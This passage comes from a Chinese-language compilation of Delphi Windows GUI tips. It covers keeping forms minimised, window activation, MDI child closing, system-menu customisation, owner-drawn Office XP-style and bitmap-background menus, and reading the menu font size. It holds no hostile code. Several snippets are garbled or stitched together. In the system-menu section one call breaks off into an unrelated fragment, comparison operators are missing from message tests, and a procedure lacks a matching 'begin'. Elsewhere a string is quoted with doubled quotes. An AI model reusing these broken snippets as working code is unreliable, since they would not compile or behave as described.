Msg.Result := HTNOWHERE;
end;

procedure TForm1.Keyboard1Key(Sender: TObject; Char: Char);
begin
showmessage(char);
end;

end.


保持窗体总是最小化

type
TForm1 = class(TForm)
private
{ Private declarations }
procedure WMQueryOpen(var Msg : TWMQueryOpen);
message WM_QUERYOPEN;
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.WMQueryOpen(var Msg : TWMQueryOpen);
begin
Msg.Result := 0;
end;


使其他程序成为当前窗口

 procedure TForm1.Button1Click(Sender: TObject);
var
wnd :HWND;
begin
//找到应用程序的窗口的句柄
wnd := FindWindow(nil,'新建文字文档.txt - 记事本');
if wnd <>0 then
if isiconic(wnd) then
ShowWindow(wnd,sw_restore)
else
SetForegroundWindow(wnd)
else
showmessage('no such window');
end;


显示固定大小的MDI窗体

 var
ProjectWindow: TWndProject;
begin
If ProjectActive=false then begin
LockWindowUpdate(ClientHandle);
ProjectWindow:=TWndProject.Create(self);
ProjectWindow.Left:=10;
ProjectWindow.Top:=10;
ProjectWindow.Width:=373;
ProjecTwindow.Height:=222;
ProjectWindow.Show;
LockWindowUpdate(0);
end;
end;


枚举子窗体

function EnumChildWindowsProc(H: HWnd; TF: TForm1): Boolean;
stdcall;
var
Buffer: array[0..255] of Char;
begin
Result := True; //設定為True才會再找下一個
//開始作某事
GetWindowText(H, Buffer, 255);
TF.LB.Items.Add(StrPas(Buffer));
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
//第一個參數是Parant的視窗的Handle,
//第二個是CallBack函式的位址
//第三個是隨便，自行定義，這裡是傳入Tform1
EnumChildWindows(Handle,
@EnumChildWindowsProc, Longint(Self));
end;


关闭一个MDI子窗口

    Delphi中MDI子窗口的关闭方式默认为缩小而不是关闭，所以当你单击子窗口右上角的关闭按钮时会发觉该子窗口只是最小化，而不是你预期的那样被关闭。解决办法是在子窗口的OnClose事件处理过程中加入如下代码，示例：

procedure ChildForm.OnClose(Sender: TObject; var Action: TCloseAction);
begin
Action := caFree;
end;

    Delphi为一个Form的关闭行为指定了四种方式，分别是：

caNone 禁止Form被关闭
caHide Form不被关闭，但是被隐藏。被隐藏的Form仍然可以被程序访问。
caFree Form被关闭，并且释放其占用的资源。

caMinimize Form被最小化而不是被关闭，这是MDI子窗口的默认关闭行为。


控制窗体

    如何在 Delphi 中把 Form 控制成不能放大/缩小/移动/关闭？1、把 Form 的 BorderIcons 下的几个子属性值全改为 False;2、修改 Form 的 BorderStyle 的值为bsSingle ;3、为了让窗口不能移动,可以自已拦下 WM_NCHITTEST 消息, 对该消息的处理为：一概回应鼠标点在窗口的 Client 区域, 相信这个视窗就呆呆的不会动了。
详情可以查一下 Win32API Help 的 CreateWindow() 与 WM_NCHITTEST 的说明。
下面是一个例子, 请参考看看：
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls,Forms, Dialogs, StdCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
procedure Button1Click(Sender: TObject);

private
{ Private declarations }
procedure WMNCHitTest(var Msg: TMessage); message WM_NCHITTEST;
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.Button1Click(Sender: TObject);
begin
Close; // 不可少, 因为已经没有其他方法能关闭此窗口了
end;

procedure TForm1.WMNCHitTest(var Msg: TMessage);
begin
inherited; // 这样,移动就不可能了...
Msg.Result := HTCLIENT;
end;
end.


控制系统菜单

①、 如 何 把 用 户 菜 单 项 加 入 系 统
菜 单， ②、 如 何 才 能 响 应 这 一 菜 单 项。

---- 要 解 决 第 一 个 问 题， 就 需 要 获 取 系 统 菜 单 的 句 柄， 这 一 点 可 用 API 函 数
getsystemmenu() 来 获 取（getmenu() 只 能 获 取 用 户 菜 单 句 柄）， 有 了 系 统 菜 单 句 柄， 便
可 以 用 API 函 数appendmenu() 向 系 统 菜 单 中 加 入 用 户 菜 单 选 项 了。

---- 要 解 决 第 二 个 问 题， 需 要 重 载 WM_SYSCOMMAND 或WM_MENUSELECT 消 息。 我 们
知 道， 当 用 户 从 菜 单 中 选 一 项 时， 系 统 便 会 发 出 WM_COMMMAND 消 息， 而 对
于 系 统 菜 单， 则 会 发 出 WM_SYSCOMMAND 消 息， 重 载 这 个 消 息， 并 判 断 选 中 菜
单 的 ID 值 是 否 为 用 户 设 定 值 便 可 以 了。Delphi 为 我 们 提 供 了 这 方 面 的 机 制， 使
我 们 能 方 便 的 实 现 这 一 功 能。 当 然， 为 实 现 这 一 功 能 我 们 还 可 以 利 用 子 类
或 为 系 统 加 消 息 钩 子 的 方 法 来 解 决。

---- 为 了 便 于 实 现， 在 这 里， 我 们 采 用 重 载 WM_SYSCOMMAND 消 息 和 填 写
WM_MENUSELECT 消 息 结 构 的 方 法 来 实 现 这 一 功 能。

---- 下 面 为 笔 者 为 实 现 这 一 功 能 而 开 发 的 实 例。

---- 程 序 在Delphi ver 1.0 下 调 试 通 过。

program Psysmenu;
uses
Forms,
Sysmenu in '\SYSMENU.PAS' {Form1};

{$R *.RES}
begin
Application.CreateForm(TForm1, Form1);
Application.Run;
end.

unit Sysmenu;

interface
uses
SysUtils, WinTypes, WinProcs, Messages, Classes,
Graphics, Controls,Forms, Dialogs;
type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
private
procedure user_sysmenu(var msg:twmmenuselect);
message wm_syscommand;

public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}

procedure TForm1.user_sysmenu(var msg:TWMMENUSELECT);
begin
if msg.iditem=100 then
showmessage(' 响应系统菜单!')
{ 也 可 以setwindowpos()来实现处于最前端功能}
else
inherited; { 作缺省处理,必须调用这一过程}
end;

procedure TForm1.FormCreate(Sender: TObject);
var hmenu:integer;
begin
hmenu:=getsystemmenu(handle,false);
{获取系统菜单句柄}
appendmenu(hmenu,MF_SEPARATOR,0,nil);
appendmenu(hmenu,MF_STRING,100,'加入系统菜单');
{加入用户菜单}
end;
end.
////////////////////////////////////////////////////
type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
procedure WMSysCommand(var Msg: TWMSysCommand);
message WM_SYSCOMMAND;
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

const
SC_MyMenuItem = WM_USER + 1;

procedure TForm1.FormCreate(Sender: TObject);
begin
AppendMenu(GetSystemMenu(Handle, FALSE), MF_SEPARATOR, 0, '');
AppendMenu(GetSystemMenu(Handle, FALSE),
MF_STRING,
SC_MyMenuItem,
'My Menu Item');
end;

procedure TForm1.WMSysCommand(var Msg: TWMSysCommand);
begin
if Msg.CmdType = SC_MyMenuItem then
ShowMessage('Got the message') else
inherited;
end;
////////////////////////////////////////////////////////
这个过程可以：
procedure AppendToSystemMenu (Form: TForm;
Item: string; ItemID: Word);
{----------------------------------------------------------------}
{ Appends menu item to end of system menu of specified form and }
{ to system menu of application's minimized icon. To append a }
{ separator bar start the item with '-' (and use 0 for ItemID). }
{----------------------------------------------------------------}
var
NormalSysMenu, MinimizedMenu: HMenu;
AItem: array[0..255] of Char;
PItem: PChar;
begin
NormalSysMenu := GetSystemMenu(Form.Handle, false);

MinimizedMenu := GetSystemMenu(Application.Handle, false);
if StartsWith('-', Item) then
AppendMenu(NormalSysMenu, MF_SEPARATOR, 0, nil);
AppendMenu(MinimizedMenu, MF_SEPARATOR, 0, nil);
end
else
begin
PItem := StrPCopy(PChar(@AItem), Item);
AppendMenu(NormalSysMenu, MF_STRING, ItemID, PItem);
AppendMenu(MinimizedMenu, MF_STRING, ItemID, PItem);
end
end; {AppendToSystemMenu}
过程是如下定义：
function StartsWith (const StartString, theString: string)

: Boolean;
{-----------------------------------------------------------------}
{ Tests whether or not theString starts with the StartString. }
{ N.B. Case sensitive. }
{----------------------------------------------------------------}
begin
if Copy(theString, 1, length(StartString)) = StartString then
StartsWith := True
else
StartsWith := False
end; {StartsWith}
建立新FORM
type
TForm1 = class(TForm)
private
{ Private declarations }
public
procedure WinMsgHandler( var Msg : TMsg; var Handled : Boolean );

{ Public declarations }
end;
const
WM_ABOUT = WM_USER + 1; { About message }
IMPLEMENTATION
procedure TForm1.WinMsgHandler( var Msg : TMsg; var Handled : Boolean );
begin
If Msg.Message = WM_SYSCOMMAND then begin
if Msg.wParam = WM_ABOUT then Showmessage('Hello World!!');
end;
end;
你必须在窗体中加入以下方法：
Application.OnMessage := WinMsgHandler; {Use my message handler}
AppendMenu( GetSystemMenu( Self.Handle, False ),
MF_SEPARATOR, 0, ''); {Append our new value}
AppendMenu( GetSystemMenu(
rm1.FormCreate(Sender: TObject);

begin
AppendMenu(GetSystemMenu(Handle, False), { API call; see API Help }
MF_STRING, SC_UDF, '&About');
AppendMenu(GetSystemMenu(Application.Handle, False),
MF_STRING, SC_UDF, '&About');
Application.OnMessage := AppOnMessage;
end;
procedure TForm1.AppOnMessage(VAR Msg: TMsg; VAR Handled: BOolean);
VAR
Hf, Ha : hMenu;
Checkd : Boolean;
CONST
NuFlag : ARRAY[Boolean] OF Word = (MF_CHECKED, MF_UNCHECKED);
NuHWnd : ARRAY[Boolean] OF HWnd = (HWND_TOPMOST, HWND_NOTOPMOST);
BEGIN
IF Msg.Message WM_SYSCOMMAND THEN Exit;

IF Msg.wParam AND $FFF0 SC_UDF THEN Exit;
{ show your About Dialog }
END;
end.


让你的菜单变成Office XP样式

以下代码模拟Office XP菜单的外观和感觉，不会丢失菜单的任何标准功能，包括RightToLeft都进行了处理。

你可以修改代码使用你自己的颜色和字体。

注意：确认OwnerRedraw和ParentBidiMode属性设为True。

以下代码是一个完整的窗体的单元，窗体包含一个MainMenu和ImageList。

构件下载：
ccmenu.zip

unit fMenu;

interface

uses
Windows, SysUtils, Classes, Graphics, Controls, Forms, Menus, ImgList;

type
TForm1 = class(TForm)
ImageList1: TImageList;
MainMenu1: TMainMenu;
FileMenu: TMenuItem;
procedure DrawItem(Sender: TObject; ACanvas: TCanvas; ARect: TRect;
Selected: Boolean);
procedure FormCreate(Sender: TObject);
private
procedure MenueDrawItemX(xMenu: TMenu);
public
end;
procedure MenueDrawItem(Sender: TObject; ACanvas: TCanvas; ARect: TRect;
Selected: Boolean);

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
MenueDrawItemX(Menu);
end;

procedure TForm1.DrawItem(Sender: TObject; ACanvas: TCanvas; ARect: TRect;
Selected: Boolean);
begin
MenueDrawItem(Sender, ACanvas, ARect, Selected);
end;

procedure TForm1.MenueDrawItemX(xMenu: TMenu);
var
i: integer;
B: TBitmap;
FMenuItem: TMenuItem;
begin
B := TBitmap.Create;
B.Width := 1;
B.Height := 1;

for i := 0 to ComponentCount - 1 do
if Components[i] is TMenuItem then
begin
FMenuItem := TMenuItem(Components[i]);
FMenuItem.OnDrawItem := DrawItem;
if (FMenuItem.ImageIndex = -1) and
(FMenuItem.Bitmap.width = 0) and (xMenu <> nil) then
if FMenuItem.GetParentComponent.Name <> xMenu.Name then
FMenuItem.Bitmap.Assign(b);
end;

B.Free;
DrawMenuBar(handle);

end;

procedure MenueDrawItem(Sender: TObject; ACanvas: TCanvas; ARect: TRect;
Selected: Boolean);
var
txt: string;
B: TBitmap;

IConRect, TextRect: TRect;
FBackColor, FIconBackColor, FSelectedBkColor, FFontColor, FSelectedFontColor,
FDisabledFontColor, FSeparatorColor, FCheckedColor: TColor;

i, X1, X2: integer;
TextFormat: integer;
HasImgLstBitmap: boolean;
FMenuItem: TMenuItem;
FMenu: TMenu;

begin
FMenuItem := TMenuItem(Sender);
FMenu := FMenuItem.Parent.GetParentMenu;

FBackColor := $00E1E1E1;
FIconBackColor := $00D1D1D1;
FSelectedBkColor := $00DCCFC7;

FFontColor := clBlack;
FSelectedFontColor := clNavy;
FDisabledFontColor := clGray;
FSeparatorColor := $00D1D1D1;
FCheckedColor := clGray;

if FMenu.IsRightToLeft then
begin
X1 := ARect.Right - 20;
X2 := ARect.Right;
end
else
begin
X1 := ARect.Left;
X2 := ARect.Left + 20;
end;
IConRect := Rect(X1, ARect.Top, X2, ARect.Bottom);

TextRect := ARect;
txt := ' ' + FMenuItem.Caption;

B := TBitmap.Create;

B.Transparent := True;
B.TransparentMode := tmAuto;

HasImgLstBitmap := false;
if (FMenuItem.Parent.GetParentMenu.Images <> nil) or
(FMenuItem.Parent.SubMenuImages <> nil) then
begin
if FMenuItem.ImageIndex <> -1 then
HasImgLstBitmap := true
else
HasImgLstBitmap := false;
end;

if HasImgLstBitmap then
begin
if FMenuItem.Parent.SubMenuImages <> nil then
FMenuItem.Parent.SubMenuImages.GetBitmap(FMenuItem.ImageIndex, B)
else
FMenuItem.Parent.GetParentMenu.Images.GetBitmap(FMenuItem.ImageIndex, B)
end
else
if FMenuItem.Bitmap.Width > 0 then
B.Assign(TBitmap(FMenuItem.Bitmap));

if FMenu.IsRightToLeft then
begin
X1 := ARect.Left;
X2 := ARect.Right - 20;
end
else
begin
X1 := ARect.Left + 20;
X2 := ARect.Right;
end;
TextRect := Rect(X1, ARect.Top, X2, ARect.Bottom);

ACanvas.brush.color := FBackColor;
ACanvas.FillRect(TextRect);

if FMenu is TMainMenu then
for i := 0 to FMenuItem.GetParentMenu.Items.Count - 1 do
if FMenuItem.GetParentMenu.Items[i] = FMenuItem then
begin
ACanvas.brush.color := FIConBackColor;
ACanvas.FillRect(ARect);
if (FMenuItem.ImageIndex = -1) and (FMenuItem.Bitmap.width = 0) then
begin
TextRect := ARect;
break;
end;
end;

ACanvas.brush.color := FIconBackColor;
ACanvas.FillRect(IconRect);

if FMenuItem.Enabled then
ACanvas.Font.Color := FFontColor
else
ACanvas.Font.Color := FDisabledFontColor;

if Selected then
begin
ACanvas.brush.Style := bsSolid;
ACanvas.brush.color := FSelectedBkColor;
ACanvas.FillRect(TextRect);

ACanvas.Pen.color := FSelectedFontColor;

ACanvas.Brush.Style := bsClear;
ACanvas.RoundRect(TextRect.Left, TextRect.top, TextRect.Right,
TextRect.Bottom, 6, 6);

if FMenuItem.Enabled then
ACanvas.Font.Color := FSelectedFontColor;
end;

X1 := IConRect.Left + 2;
if B <> nil then
ACanvas.Draw(X1, IConRect.top + 1, B);

if FMenuItem.Checked then
begin
ACanvas.Pen.color := FCheckedColor;
ACanvas.Brush.Style := bsClear;
ACanvas.RoundRect(IconRect.Left, IconRect.top, IconRect.Right,
IconRect.Bottom, 3, 3);
end;

if not FMenuItem.IsLine then
begin
SetBkMode(ACanvas.Handle, TRANSPARENT);

ACanvas.Font.Name := 'Tahoma';
if FMenu.IsRightToLeft then
ACanvas.Font.Charset := ARABIC_CHARSET;

if FMenu.IsRightToLeft then
TextFormat := DT_RIGHT + DT_RTLREADING
else
TextFormat := 0;

if FMenuItem.Default then
begin
Inc(TextRect.Left, 1);
Inc(TextRect.Right, 1);
Inc(TextRect.Top, 1);
ACanvas.Font.color := clGray;
DrawtextEx(ACanvas.Handle,
PChar(txt),
Length(txt),
TextRect, TextFormat, nil);

Dec(TextRect.Left, 1);
Dec(TextRect.Right, 1);
Dec(TextRect.Top, 1);

ACanvas.Font.color := FFontColor;
end;

DrawtextEx(ACanvas.Handle,
PChar(txt),
Length(txt),
TextRect, TextFormat, nil);

txt := ShortCutToText(FMenuItem.ShortCut) + ' ';

if FMenu.IsRightToLeft then
TextFormat := DT_LEFT
else
TextFormat := DT_RIGHT;

DrawtextEx(ACanvas.Handle,
PChar(txt),
Length(txt),
TextRect, TextFormat, nil);
end
else
begin
ACanvas.Pen.Color := FSeparatorColor;
ACanvas.MoveTo(ARect.Left + 10,
TextRect.Top +
Round((TextRect.Bottom - TextRect.Top) / 2));
ACanvas.LineTo(ARect.Right - 2,
TextRect.Top +
Round((TextRect.Bottom - TextRect.Top) / 2))
end;

B.free;

end;

end.


右侧菜单项

 {假设你的窗体上有一个TMainMenu组件MainMenu1，并且在菜单条末端有一个菜单项HelpMenuItem;调用下面的OnCreateEventhandler代码就可以右置菜单项}

uses
Windows;

procedure TForm1.FormCreate(Sender: TObject);
begin
ModifyMenu(MainMenu1.Handle, 0, mf_ByPosition or mf_Popup
or mf_Help, HelpMenuItem1.Handle, ''&Help'');
end;

投稿人：CoDelphi.com　投稿日期：2001-5-12 15:39:00


美化你的菜单

TechnoFantasy
www.applevb.com

Windows下的很多程序都有十分漂亮的菜单，例如Windows“开始”菜单左方从上到下的长条形的Windows Banner 又或者是向Word那样在每一个菜单条左边都有一个小图标，看到这些很Cool的菜单，你是否觉得自己的菜单显得单调乏味呢？不需要第三方控件，利用Delphi就可以实现上面的功能。

如果要实现自定义菜单就需要在绘制菜单时改变菜单的大小以适应在菜单上绘制图形，然后再在上面绘制自己所需要的菜单效果。在Delphi中，每一个菜单项对应一个TmenuItem控件，这类控件都有两个事件：OnDrawItem和OnMeasureItem，要实现自定义菜单，首先要介绍一下这两个事件：

OnMeasureItem事件的定义如下：

type TMenuMeasureItemEvent = procedure (Sender: TObject; ACanvas: TCanvas;

var Width, Height: Integer) of object;

property OnMeasureItem: TMenuMeasureItemEvent;

该事件在菜单条监测自身的尺寸时产生，其中参数Acanvas定义绘制的绘图对象，参数Width、Height制定菜单项的默认尺寸，注意到这两个定义前的var了吗，说明你可以在OnMeasureItem事件处理函数中改变这两个值，也就是改变菜单的大小。

OnDrawItem事件的定义如下：

type TMenuDrawItemEvent = procedure (Sender: TObject; ACanvas: TCanvas;

ARect: TRect; Selected: Boolean) of object;

property OnDrawItem: TMenuDrawItemEvent;

该事件在菜单绘制时引发，其中参数Acanvas定义菜单绘制对象，参数Arect制定菜单的绘制区域，参数Selected定义当前菜单项是否被选中。

从上面的介绍可以看到，要实现自定义的菜单，只要在OnMeasureItem事件中编写代码改变菜单项的尺寸，然后在OnDrawItem事件中绘制自己需要的效果就可以了。

下面我痛过具体的范例来做说明，这个范例是使自己的菜单实现象Windows开始菜单一样的显示Banner条的功能。同时这个程序还能实现对被选中的菜单条进行渐变色填充（就象3721中文网址软件的任务栏菜单那样）。程序的思路是这样的，首先建立一个长条型的位图，然后在每一个菜单条的OnMeasureItem事件中根据要显示在菜单上的文本和图像以及程序的需要改变菜单项的宽度和高度，然后在OnDrawItem事件中将位图中的相应部分拷贝到菜单项上。如果该菜单条被选中，首先要改变Acanvas参数的画刷颜色，然后再依次填充菜单条上的相应部分，这样就实现了对选中的菜单条实现渐变色填充。最后将文本输出到菜单条上。

下面来介绍具体的程序，首先利用图像软件建立一个长条型的位图文件（你可以根据你的需要设定图像的高宽比，在我的图像中是10:1）。在Delphi中建立一个新的工程，在Form1中加入一个TImage控件，将控件的AutoSize属性设置为True。然后在Form1中加入一个TMainMenu控件，将它的OwnerDraw属性设置为True（这一点很重要，否则程序无法实现）在该TMainMenu下加入6个TMenuItem对象（鼠标右健点击TMainMenu控件，然后点击弹出菜单的Menu Designer 项，就可以在设计窗口中添加菜单条了），将它们的Name属性分别设置为 Caption1、Caption2、…、Caption6。

下面是具体的程序清单：

unit OwnerMenu;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

Menus, ExtCtrls, StdCtrls, ImgList;

type

TForm1 = class(TForm)

MainMenu1: TMainMenu;

Main1: TMenuItem;

Caption1: TMenuItem;

Caption2: TMenuItem;

Caption3: TMenuItem;

Caption4: TMenuItem;

Caption5: TMenuItem;

Caption6: TMenuItem;

Image1: TImage;

procedure Caption1MeasureItem(Sender: TObject; ACanvas: TCanvas;

var Width, Height: Integer);

procedure Caption2MeasureItem(Sender: TObject; ACanvas: TCanvas;

var Width, Height: Integer);

procedure Caption3MeasureItem(Sender: TObject; ACanvas: TCanvas;

var Width, Height: Integer);

procedure Caption4MeasureItem(Sender: TObject; ACanvas: TCanvas;

var Width, Height: Integer);

procedure Caption5MeasureItem(Sender: TObject; ACanvas: TCanvas;

var Width, Height: Integer);

procedure Caption6MeasureItem(Sender: TObject; ACanvas: TCanvas;

var Width, Height: Integer);

procedure Caption1DrawItem(Sender: TObject; ACanvas: TCanvas;

ARect: TRect; Selected: Boolean);

procedure Caption2DrawItem(Sender: TObject; ACanvas: TCanvas;

ARect: TRect; Selected: Boolean);

procedure Caption3DrawItem(Sender: TObject; ACanvas: TCanvas;

ARect: TRect; Selected: Boolean);

procedure Caption4DrawItem(Sender: TObject; ACanvas: TCanvas;

ARect: TRect; Selected: Boolean);

procedure Caption5DrawItem(Sender: TObject; ACanvas: TCanvas;

ARect: TRect; Selected: Boolean);

procedure Caption6DrawItem(Sender: TObject; ACanvas: TCanvas;

ARect: TRect; Selected: Boolean);

private

{ Private declarations }

public

procedure DrawItem(Sender: TMenuItem; ACanvas: TCanvas;ARect: TRect;

Selected: Boolean;strOUt:String);

{ Public declarations }

end;

var

Form1: TForm1;

i,iH,Ind,iW,iRate:Integer;

rTemp:TRect;

iG1,iG2:Integer;

implementation

{$R *.DFM}

procedure TForm1.DrawItem(Sender: TMenuItem; ACanvas: TCanvas;ARect: TRect;

Selected: Boolean;strOut:String);

var

j:Integer;

begin

i:=ARect.Bottom -ARect.Top; //获得贴图的高度和宽度

Ind:=Sender.MenuIndex;

iH:=Round(Image1.Height/6*Ind); //获得贴图位置

//将Image上相应位置的位图复制到菜单上

StretchBlt(ACanvas.Handle,ARect.Left,ARect.Top,iW,i,Image1.Canvas.Handle,0,iH,

Image1.Width,Round(Image1.Height/6),SRCCOPY);

if Selected then begin //该菜单项被选中

ACanvas.Font.Color := clWhite;

rTemp:=ARect;

rTemp.Left := rTemp.left+iW;

iG1:=Round((rTemp.Right - rTemp.Left)/10);

rTemp.Right := rTemp.Left +iG1;

for j:= 0 to 9 do begin //通过循环设置色彩渐变效果

ACanvas.Brush.Color := RGB(0,0,j*25);

ACanvas.FillRect(rTemp);

rTemp.Left := rTemp.Left +iG1;

rTemp.Right := rTemp.Left +iG1;

end;

end

else begin //该菜单项没有被选中

ACanvas.Brush.Color := cl3DLight; //设置背景色为浅灰

rTemp:=ARect;

rTemp.Left := rTemp.left+iW;

ACanvas.FillRect(rTemp);

ACanvas.Font.Color := clBlack;

end;

//设置Canvas的画笔填充模式为透明

ACanvas.Brush.Style:=bsClear;

//在菜单上输出文字

ACanvas.TextOut(ARect.Left+iW+5,ARect.Top,strOut);

end;

procedure TForm1.Caption1MeasureItem(Sender: TObject; ACanvas: TCanvas;

var Width, Height: Integer);

begin

//在OnMeasureItem事件中改变菜单的宽度和高度，下面5个程序同

//改变菜单的宽度和高度以容纳文本

Height:=ACanvas.TextHeight('Caption1')+5;

Width:=ACanvas.TextWidth('Caption1')+5;

iRate:=Round(Image1.Height/(Height*6));

iW:=Round(Image1.Width /iRate);

Width:=Width+iW; //根据计算改变菜单宽度以容纳附加的文本

end;

procedure TForm1.Caption2MeasureItem(Sender: TObject; ACanvas: TCanvas;

var Width, Height: Integer);

begin

Height:=ACanvas.TextHeight('Caption1')+5;

Width:=ACanvas.TextWidth('Caption1')+5;

iRate:=Round(Image1.Height/(Height*6));

iW:=Round(Image1.Width /iRate);

Width:=Width+iW;

end;

procedure TForm1.Caption3MeasureItem(Sender: TObject; ACanvas: TCanvas;

var Width, Height: Integer);

begin

Height:=ACanvas.TextHeight('Caption1')+5;

Width:=ACanvas.TextWidth('Caption1')+5;

iRate:=Round(Image1.Height/(Height*6));

iW:=Round(Image1.Width /iRate);

Width:=Width+iW;

end;

procedure TForm1.Caption4MeasureItem(Sender: TObject; ACanvas: TCanvas;

var Width, Height: Integer);

begin

Height:=ACanvas.TextHeight('Caption1')+5;

Width:=ACanvas.TextWidth('Caption1')+5;

iRate:=Round(Image1.Height/(Height*6));

iW:=Round(Image1.Width /iRate);

Width:=Width+iW;

end;

procedure TForm1.Caption5MeasureItem(Sender: TObject; ACanvas: TCanvas;

var Width, Height: Integer);

begin

Height:=ACanvas.TextHeight('Caption1')+5;

Width:=ACanvas.TextWidth('Caption1')+5;

iRate:=Round(Image1.Height/(Height*6));

iW:=Round(Image1.Width /iRate);

Width:=Width+iW;

end;

procedure TForm1.Caption6MeasureItem(Sender: TObject; ACanvas: TCanvas;

var Width, Height: Integer);

begin

Height:=ACanvas.TextHeight('Caption1')+5;

Width:=ACanvas.TextWidth('Caption1')+5;

iRate:=Round(Image1.Height/(Height*6));

iW:=Round(Image1.Width /iRate);

Width:=Width+iW;

end;

procedure TForm1.Caption1DrawItem(Sender: TObject; ACanvas: TCanvas;

ARect: TRect; Selected: Boolean);

begin

DrawItem(TMenuItem(Sender),ACanvas,ARect,Selected,'Caption1');

end;

procedure TForm1.Caption2DrawItem(Sender: TObject; ACanvas: TCanvas;

ARect: TRect; Selected: Boolean);

begin

DrawItem(TMenuItem(Sender),ACanvas,ARect,Selected,'Caption2');

end;

procedure TForm1.Caption3DrawItem(Sender: TObject; ACanvas: TCanvas;

ARect: TRect; Selected: Boolean);

begin

DrawItem(TMenuItem(Sender),ACanvas,ARect,Selected,'Caption3');

end;

procedure TForm1.Caption4DrawItem(Sender: TObject; ACanvas: TCanvas;

ARect: TRect; Selected: Boolean);

begin

DrawItem(TMenuItem(Sender),ACanvas,ARect,Selected,'Caption4');

end;

procedure TForm1.Caption5DrawItem(Sender: TObject; ACanvas: TCanvas;

ARect: TRect; Selected: Boolean);

begin

DrawItem(TMenuItem(Sender),ACanvas,ARect,Selected,'Caption5');

end;

procedure TForm1.Caption6DrawItem(Sender: TObject; ACanvas: TCanvas;

ARect: TRect; Selected: Boolean);

begin

DrawItem(TMenuItem(Sender),ACanvas,ARect,Selected,'Caption6');

end;

end.

-----------------------------

在网上有很多文章都提到怎样在菜单中加入背景图片，可是都没有一个完整的回答，也没有一个比较完整的例子。当然csdn曾经有一个高人说过这个问题，而且在程序员大本营2000版中也有收藏。我参考了一些方法和技巧，当然包括国外的了，写下了如下的代码，希望能够满足大家的要求，不过不是很完善，如果有哪位大侠修改过，不妨也将修改过的代码贴出来，大家共享！为了在menu控件中加入背景图片，没有直接的方法，都的靠自己动手画，因为menu控件没有canvas属性，所以只能自己动手了！这个东西我也是菜鸟一只，说不出什么高深的东西，如果有什么问题可以发信给我，我们共同探讨：cqwty@sina.com，源代码如下：

unit FMain;

interface

uses
Windows, Graphics, Forms, Menus, Classes;

type
TfrmMain = class(TForm)
mnuPopup:
TPopupMenu;
MainMenu1: TMainMenu;
sdfsdf1: TMenuItem;
sdfsdf2:
TMenuItem;
dfgdfg1: TMenuItem;
dfgdfg2: TMenuItem;
N1: TMenuItem;
werwer1: TMenuItem;

procedure DrawMenu(Sender: TObject; ACanvas: TCanvas; ARect: TRect; State: TOwnerDrawState);
procedure MeasureMenu(Sender: TObject; ACanvas: TCanvas; var Width, Height: Integer);
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
end;

var
frmMain: TfrmMain;
bmp1:tbitmap;
implementation

{$R *.DFM}

procedure TfrmMain.DrawMenu(Sender: TObject; ACanvas: TCanvas; ARect: TRect;
State: TOwnerDrawState);
var
cTemp:  TCanvas;
sText:  String;
mWnd:   HWND;
rMenu:
TRect;

begin

ACanvas.BrushCopy(ARect, bmp1, ARect, clBlack);
ACanvas.Brush.Style := bsclear;
sText := TMenuItem(Sender).Caption;
acanvas.Font.Color:=clred;
with ACanvas do begin
if odSelected in State then begin
pen.Style:=psInsideFrame;
Brush.Color := RGB(110, 131, 184);
Pen.Color := RGB(47, 60, 93);
Rectangle(ARect);
end;

if sText = '-' then begin
// Draw line
ACanvas.Pen.Color := RGB(0, 0, 0);
MoveTo(ARect.Left, ARect.Top + ((ARect.Bottom - ARect.Top) div 2));
LineTo(ARect.Right, ARect.Top + ((ARect.Bottom - ARect.Top) div 2));
end else begin
// Draw text
Inc(ARect.Left, 12);
DrawText(Handle, PChar(sText), Length(sText), ARect, DT_LEFT or DT_VCENTER or DT_SINGLELINE);
end;
end;

// 画边框的，效果是平面的
mWnd := WindowFromDC(ACanvas.Handle);

if mWnd <> Self.Handle then begin
cTemp := TCanvas.Create();
cTemp.Handle := GetDC(0);

Windows.GetWindowRect(mWnd, rMenu);

    cTemp.Brush.Color := RGB(120, 120,
120);
cTemp.FrameRect(rMenu);

InflateRect(rMenu, -1, -1);
cTemp.Brush.Color := RGB(240, 240, 240);
cTemp.FrameRect(rMenu);

InflateRect(rMenu, -1, -1);
cTemp.FrameRect(rMenu);

ReleaseDC(0, cTemp.Handle);
cTemp.Free();

end;

end;

procedure TfrmMain.MeasureMenu(Sender: TObject; ACanvas: TCanvas; var Width, Height: Integer);
begin
Inc(Width,50);//调整菜单的宽度

inc(height,15);//调整每一个item的高度，这一句可以不要，使用默认值
end;

procedure TfrmMain.FormCreate(Sender:
TObject);
begin
bmp1:=tbitmap.Create;
bmp1.loadfromfile('e:\aaa.bmp');
end;

procedure TfrmMain.FormClose(Sender: TObject; var Action: TCloseAction);
begin
bmp1.Free;
end;

end.


获得和设置菜单字体大小

读取

function GetMenuFontSize: Integer;
var
  ncm: TNonClientMetrics;
  PixelsPerInch: integer;
begin
  ncm.cbSize := sizeof(TNonClientMetrics);
  SystemParametersInfo(
    SPI_GETNONCLIENTMETRICS,
    sizeof(NONCLIENTMETRICS),
    @ncm,
    SPIF_UPDATEINIFILE
  );
  PixelsPerInch := GetDeviceCaps(GetDC(0), LOGPIXELSY);
  Result := -MulDiv(ncm.lfMenuFont.lfHeight, 72, PixelsPerInch);
end;

{ 设置}
procedure SetMenuFontSize(FontSize: Integer);
var
  ncm: TNonClientMetrics;
  PixelsPerInch: Integer;
begin
  ncm.cbSize := sizeof(TNonClientMetrics);
  SystemParametersInfo(
    SPI_GETNONCLIENTMETRICS,
    sizeof(NONCLIENTMETRICS),
    @ncm,
    0
  );

  PixelsPerInch := GetDeviceCaps(GetDC(0), LOGPIXELSY);
